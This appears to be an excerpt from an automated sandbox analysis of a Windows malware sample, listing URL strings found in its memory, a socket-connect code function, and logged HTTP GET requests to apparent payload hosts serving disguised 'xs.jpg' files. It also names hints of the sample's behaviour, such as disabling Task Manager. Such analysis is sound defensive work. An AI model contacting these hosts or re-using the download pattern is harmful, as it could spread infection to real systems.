      Source: pXlV6TKi3E.exe, 00000000.00000002.555932890.00000000022E8000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.555932890.00000000022EE000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.559138993.00000000034E3000.00000004.10000000.00040000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmp, pXlV6TKi3E.exe, 00000000.00000002.560775397.0000000003D6C000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.556904173.0000000002375000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: http://althawry.org/images/xs.jpghttp://www.careerdesk.org/images/xs.jpghttp://arthur.niria.biz/xs.j
      Source: pXlV6TKi3E.exe, pXlV6TKi3E.exe, 00000000.00000002.555932890.00000000022E8000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.555932890.00000000022EE000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.559138993.00000000034E3000.00000004.10000000.00040000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmp, pXlV6TKi3E.exe, 00000000.00000002.560775397.0000000003D6C000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.556904173.0000000002375000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg
      Source: pXlV6TKi3E.exe, 00000000.00000002.569205487.0000000006011000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?142a6b1=211452650
      Source: pXlV6TKi3E.exe, 00000000.00000002.569205487.0000000006011000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?142a6b1=211452650AS
      Source: pXlV6TKi3E.exe, 00000000.00000002.569205487.0000000006011000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?142a6b1=211452650QR
      Source: pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?2c3ef52=185580872
      Source: pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?46e717b=52042812587
      Source: pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?46e717b=520428125X0
      Source: pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?657d9df=425682812
      Source: pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?657d9df=425682812x6$q(
      Source: pXlV6TKi3E.exe, pXlV6TKi3E.exe, 00000000.00000002.555932890.00000000022E8000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.555932890.00000000022EE000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.559138993.00000000034E3000.00000004.10000000.00040000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmp, pXlV6TKi3E.exe, 00000000.00000002.560775397.0000000003D6C000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.556904173.0000000002375000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: http://amsamex.com/xs.jpg
      Source: pXlV6TKi3E.exe, 00000000.00000002.549429568.0000000000811000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://amsamex.com/xs.jpg?10e1c12=88509530
      Source: pXlV6TKi3E.exe, 00000000.00000002.549429568.0000000000811000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://amsamex.com/xs.jpg?25d8de9=158742436
      Source: pXlV6TKi3E.exe, 00000000.00000002.549429568.0000000000811000.00000004.00000020.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.569205487.0000000006011000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://amsamex.com/xs.jpg?3f44720=597065760
      Source: pXlV6TKi3E.exe, 00000000.00000002.549429568.0000000000811000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://amsamex.com/xs.jpg?5cf74e1=779855624
      Source: pXlV6TKi3E.exe, 00000000.00000002.569205487.0000000006011000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://amsamex.com/xs.jpg?5cf74e1=779855624v
      Source: pXlV6TKi3E.exe, pXlV6TKi3E.exe, 00000000.00000002.555932890.00000000022E8000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.555932890.00000000022EE000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.559138993.00000000034E3000.00000004.10000000.00040000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmp, pXlV6TKi3E.exe, 00000000.00000002.560775397.0000000003D6C000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.556904173.0000000002375000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: http://apple-pie.in/images/xs.jpg
      Source: pXlV6TKi3E.exe, 00000000.00000002.569205487.0000000006011000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://apple-pie.in/images/xs.jpg?1150888=163400904
      Source: pXlV6TKi3E.exe, 00000000.00000002.569205487.0000000006011000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://apple-pie.in/images/xs.jpg?2713c6c=81950936
      Source: pXlV6TKi3E.exe, 00000000.00000002.569205487.0000000006011000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://apple-pie.in/images/xs.jpg?2713c6c=819509365
      Source: pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://apple-pie.in/images/xs.jpg?416832a=548673872
      Source: pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://apple-pie.in/images/xs.jpg?5f16d79=498541405
      Source: pXlV6TKi3E.exe, pXlV6TKi3E.exe, 00000000.00000002.555932890.00000000022E8000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.555932890.00000000022EE000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.559138993.00000000034E3000.00000004.10000000.00040000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmp, pXlV6TKi3E.exe, 00000000.00000002.560775397.0000000003D6C000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.556904173.0000000002375000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: http://arthur.niria.biz/xs.jpg
      Source: pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://arthur.niria.biz/xs.jpg?21973d4=70444968
      Source: pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://arthur.niria.biz/xs.jpg?21973d4=70444968i
      Source: pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://arthur.niria.biz/xs.jpg?3b0704e=495157872P
      Source: pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://arthur.niria.biz/xs.jpg?3b0704e=495157872Z
      Source: pXlV6TKi3E.exe, 00000000.00000002.569205487.0000000005FD0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://arthur.niria.biz/xs.jpg?3b0704e=495157872t
      Source: pXlV6TKi3E.exe, 00000000.00000002.569205487.0000000005FD0000.00000004.00000020.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://arthur.niria.biz/xs.jpg?59f0920=471543200
      Source: pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://arthur.niria.biz/xs.jpg?59f0920=471543200z
      Source: pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.560775397.0000000003D6C000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: http://arthur.niria.biz/xs.jpg?757abcd=739116750
      Source: pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://arthur.niria.biz/xs.jpg?757abcd=739116750$
      Source: pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://arthur.niria.biz/xs.jpg?757abcd=73911675024
      Source: pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://arthur.niria.biz/xs.jpg?757abcd=7391167503
      Source: pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://arthur.niria.biz/xs.jpg?757abcd=739116750K
      Source: pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://arthur.niria.biz/xs.jpg?757abcd=739116750c
      Source: pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://arthur.niria.biz/xs.jpg?757abcd=739116750h
      Source: pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://arthur.niria.biz/xs.jpg?757abcd=739116750r
      Source: pXlV6TKi3E.exe, 00000000.00000002.569205487.0000000005FD0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://arthur.niria.biz/xs.jpg?757abcd=739116750t
      Source: pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://arthur.niria.biz/xs.jpg?757abcd=739116750~
      Source: pXlV6TKi3E.exe, 00000000.00000002.560775397.0000000003D6C000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: http://arthur.niria.biz/xs.jpgs/xs.jpgk
      Source: pXlV6TKi3E.exe, 00000000.00000002.570043505.0000000006085000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000000.307814158.00000170BD9B1000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.568801684.00000170BD9AD000.00000004.00000001.00020000.00000000.sdmp, SearchUI.exe, 00000014.00000000.396638997.000001CDDCE92000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/root-r2.crl0
      Source: svchost.exe, 0000000F.00000000.306991593.00000170BD1EC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0
      Source: SearchUI.exe, 00000014.00000000.412113616.000001CDEFF80000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab
      Source: SearchUI.exe, 00000014.00000002.615479374.000001CDDC7C6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ctldl.windowsupdate.com:80/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?1898
      Source: SearchUI.exe, 00000014.00000002.614799489.000001CDDC6FE000.00000004.00000001.00020000.00000000.sdmp, SearchUI.exe, 00000014.00000000.401718642.000001CDDD710000.00000004.00000001.00040000.00000000.sdmp, SearchUI.exe, 00000014.00000002.614917677.000001CDDC723000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://facebook.github.io/react/docs/error-decoder.html?invariant
      Source: pXlV6TKi3E.exe, pXlV6TKi3E.exe, 00000000.00000002.555932890.00000000022E8000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.555932890.00000000022EE000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.559138993.00000000034E3000.00000004.10000000.00040000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmp, pXlV6TKi3E.exe, 00000000.00000002.560775397.0000000003D6C000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.556904173.0000000002375000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: http://g2.arrowhitech.com/xs.jpg
      Source: pXlV6TKi3E.exe, 00000000.00000002.569205487.0000000006011000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://g2.arrowhitech.com/xs.jpg?1360a4c=81275184
      Source: pXlV6TKi3E.exe, 00000000.00000002.569205487.0000000006011000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://g2.arrowhitech.com/xs.jpg?2a1f64d=309181467
      Source: pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://g2.arrowhitech.com/xs.jpg?46e710d=594774120
      Source: pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://g2.arrowhitech.com/xs.jpg?46e710d=594774120F
      Source: pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://g2.arrowhitech.com/xs.jpg?6358694=1041711560
      Source: pXlV6TKi3E.exe, 00000000.00000002.556904173.0000000002380000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: http://kukutrustnet777.info/home.gif
      Source: pXlV6TKi3E.exe, 00000000.00000002.556904173.0000000002380000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: http://kukutrustnet777888.info/
      Source: pXlV6TKi3E.exe, 00000000.00000002.556904173.0000000002380000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: http://kukutrustnet777888.info/DisableTaskMgrSoftware
      Source: pXlV6TKi3E.exe, 00000000.00000002.556904173.0000000002380000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: http://kukutrustnet888.info/home.gif
      Source: pXlV6TKi3E.exe, 00000000.00000002.556904173.0000000002380000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: http://kukutrustnet987.info/home.gif
      Source: svchost.exe, 0000000F.00000000.306991593.00000170BD1EC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0:
      Source: pXlV6TKi3E.exe, pXlV6TKi3E.exe, 00000000.00000002.555932890.00000000022E8000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.555932890.00000000022EE000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.559138993.00000000034E3000.00000004.10000000.00040000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmp, pXlV6TKi3E.exe, 00000000.00000002.560775397.0000000003D6C000.00000004.00000010.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.556904173.0000000002375000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.careerdesk.org/images/xs.jpg
      Source: pXlV6TKi3E.exe, 00000000.00000002.570043505.0000000006085000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.careerdesk.org/images/xs.jpg?1b3ca31=171359526
      Source: pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.careerdesk.org/images/xs.jpg?1b3ca31=171359526(0
      Source: pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.careerdesk.org/images/xs.jpg?1b3ca31=171359526h0
      Source: pXlV6TKi3E.exe, 00000000.00000002.570043505.0000000006085000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.careerdesk.org/images/xs.jpg?1b3ca31=171359526ll
      Source: pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.careerdesk.org/images/xs.jpg?37fb479=234803684
      Source: pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.careerdesk.org/images/xs.jpg?37fb479=234803684(7
      Source: pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.careerdesk.org/images/xs.jpg?56961d6=181584812
      Source: pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.careerdesk.org/images/xs.jpg?56961d6=181584812x0$s
      Source: pXlV6TKi3E.exe, 00000000.00000002.549429568.0000000000811000.00000004.00000020.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.570043505.0000000006085000.00000004.00000020.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.careerdesk.org/images/xs.jpg?7139244=712338840
      Source: pXlV6TKi3E.exe, 00000000.00000002.570043505.0000000006085000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.careerdesk.org/images/xs.jpg?7139244=7123388402V
      Source: pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.careerdesk.org/images/xs.jpg?7139244=712338840H64q)
      Source: pXlV6TKi3E.exe, 00000000.00000002.549429568.0000000000811000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.careerdesk.org/images/xs.jpg?7139244=712338840c
      Source: pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.careerdesk.org/images/xs.jpg?7139244=712338840h6
      Source: pXlV6TKi3E.exe, 00000000.00000002.549429568.0000000000811000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.careerdesk.org/images/xs.jpg?7139244=712338840~
      Source: pXlV6TKi3E.exe, 00000000.00000002.556904173.0000000002380000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.klkjwre9fqwieluoi.info/
      Source: pXlV6TKi3E.exe, 00000000.00000002.556904173.0000000002380000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.klkjwre9fqwieluoi.info/amsint32.sysGetSystemDirectoryAdrivers
      Source: svchost.exe, 0000000C.00000000.303216444.00000168DEA5D000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.546416495.00000168DEA5D000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://%s.dnet.xboxlive.com
      Source: svchost.exe, 0000000C.00000000.303216444.00000168DEA5D000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.546416495.00000168DEA5D000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://%s.xboxlive.com
      Source: svchost.exe, 0000000C.00000002.547666803.00000168DEA80000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000C.00000000.303281331.00000168DEA80000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.545457274.00000168DEA40000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000C.00000000.303157872.00000168DEA40000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://activity.windows.com
      Source: svchost.exe, 0000000C.00000002.547666803.00000168DEA80000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000C.00000000.303281331.00000168DEA80000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://activity.windows.comU
      Source: pXlV6TKi3E.exe, 00000000.00000002.549429568.0000000000811000.00000004.00000020.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.569205487.0000000006011000.00000004.00000020.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.571213338.00000000068A0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ampyazilim.com.tr/images/xs2.jpg?1
      Source: pXlV6TKi3E.exe, 00000000.00000002.569205487.0000000006011000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ampyazilim.com.tr/images/xs2.jpg?142a6b1=211452650
      Source: pXlV6TKi3E.exe, 00000000.00000002.569205487.0000000006011000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ampyazilim.com.tr/images/xs2.jpg?142a6b1=2114526501QUr
      Source: pXlV6TKi3E.exe, 00000000.00000002.549429568.0000000000811000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ampyazilim.com.tr/images/xs2.jpg?1XFms
      Source: pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ampyazilim.com.tr/images/xs2.jpg?2c3ef52=185580872
      Source: pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ampyazilim.com.tr/images/xs2.jpg?46e717b=520428125
      Source: pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ampyazilim.com.tr/images/xs2.jpg?46e717b=52042812580
      Source: pXlV6TKi3E.exe, 00000000.00000002.571213338.00000000068A0000.00000004.00000020.00020000.00000000.sdmp, pXlV6TKi3E.exe, 00000000.00000002.570043505.00000000060A5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ampyazilim.com.tr/images/xs2.jpg?657d9df=425682812
      Source: svchost.exe, 0000000C.00000000.303216444.00000168DEA5D000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.546416495.00000168DEA5D000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://bn2.notify.windows.com/v2/register/xplatform/device
      Source: svchost.exe, 0000000F.00000000.307150310.00000170BD900000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.563760336.00000170BD900000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://cdn.onenote.net/
      Source: svchost.exe, 0000000F.00000002.562004044.00000170BD1FD000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000000.307150310.00000170BD900000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.563760336.00000170BD900000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000000.307003278.00000170BD1FD000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://cdn.onenote.net/livetile/?Language=en-US
      Source: svchost.exe, 0000000C.00000000.303216444.00000168DEA5D000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.546416495.00000168DEA5D000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://co4-df.notify.windows.com/v2/register/xplatform/device
      Source: svchost.exe, 0000000C.00000002.547666803.00000168DEA80000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000C.00000000.303281331.00000168DEA80000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://login.live.com
      Source: svchost.exe, 0000000C.00000002.547666803.00000168DEA80000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000C.00000000.303281331.00000168DEA80000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/
      Source: svchost.exe, 0000000C.00000002.547666803.00000168DEA80000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000C.00000000.303281331.00000168DEA80000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://login.windows.local
      Source: svchost.exe, 0000000C.00000002.547666803.00000168DEA80000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000C.00000000.303281331.00000168DEA80000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://login.windows.local/
      Source: svchost.exe, 0000000C.00000002.547666803.00000168DEA80000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000C.00000000.303281331.00000168DEA80000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://login.windows.net
      Source: svchost.exe, 0000000C.00000002.547666803.00000168DEA80000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000C.00000000.303281331.00000168DEA80000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://login.windows.net/
      Source: SearchUI.exe, 00000014.00000002.603572508.000001C5DB491000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://loki.delve.office.com/
      Source: SearchUI.exe, 00000014.00000000.395337209.000001CDDCC40000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://loki.delve.office.com//mystuffonline?count=30&q=
      Source: SearchUI.exe, 00000014.00000000.411556954.000001CDEFE29000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.bi.com
      Source: svchost.exe, 0000000C.00000002.547666803.00000168DEA80000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000C.00000000.303281331.00000168DEA80000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://xsts.auth.xboxlive.com
      Source: svchost.exe, 0000000C.00000002.547666803.00000168DEA80000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000C.00000000.303281331.00000168DEA80000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://xsts.auth.xboxlive.com/
      Source: unknownDNS traffic detected: queries for: althawry.org
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeCode function: 0_2_00401420 recv,socket,VirtualAlloc,gethostbyname,htons,gethostbyname,htons,connect,EtwpCreateEtwThread,send,WaitForSingleObject,0_2_00401420
      Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?142a6b1=211452650 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Cache-Control: no-cacheHost: ampyazilim.com.trConnection: Keep-Alive
      Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Cache-Control: no-cacheHost: ampyazilim.com.trConnection: Keep-Alive
      Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?2c3ef52=185580872 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Cache-Control: no-cacheHost: ampyazilim.com.trConnection: Keep-Alive
      Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Cache-Control: no-cacheHost: ampyazilim.com.trConnection: Keep-Alive
      Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?46e717b=520428125 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Cache-Control: no-cacheHost: ampyazilim.com.trConnection: Keep-Alive
      Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Cache-Control: no-cacheHost: ampyazilim.com.trConnection: Keep-Alive
      Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?657d9df=425682812 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Cache-Control: no-cacheHost: ampyazilim.com.trConnection: Keep-Alive
      Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Cache-Control: no-cacheHost: ampyazilim.com.trConnection: Keep-Alive
      Source: global trafficHTTP traffic detected: GET /images/xs.jpg?85f4e8=70231872 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /xs.jpg?f5fe7c=80607340 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cache
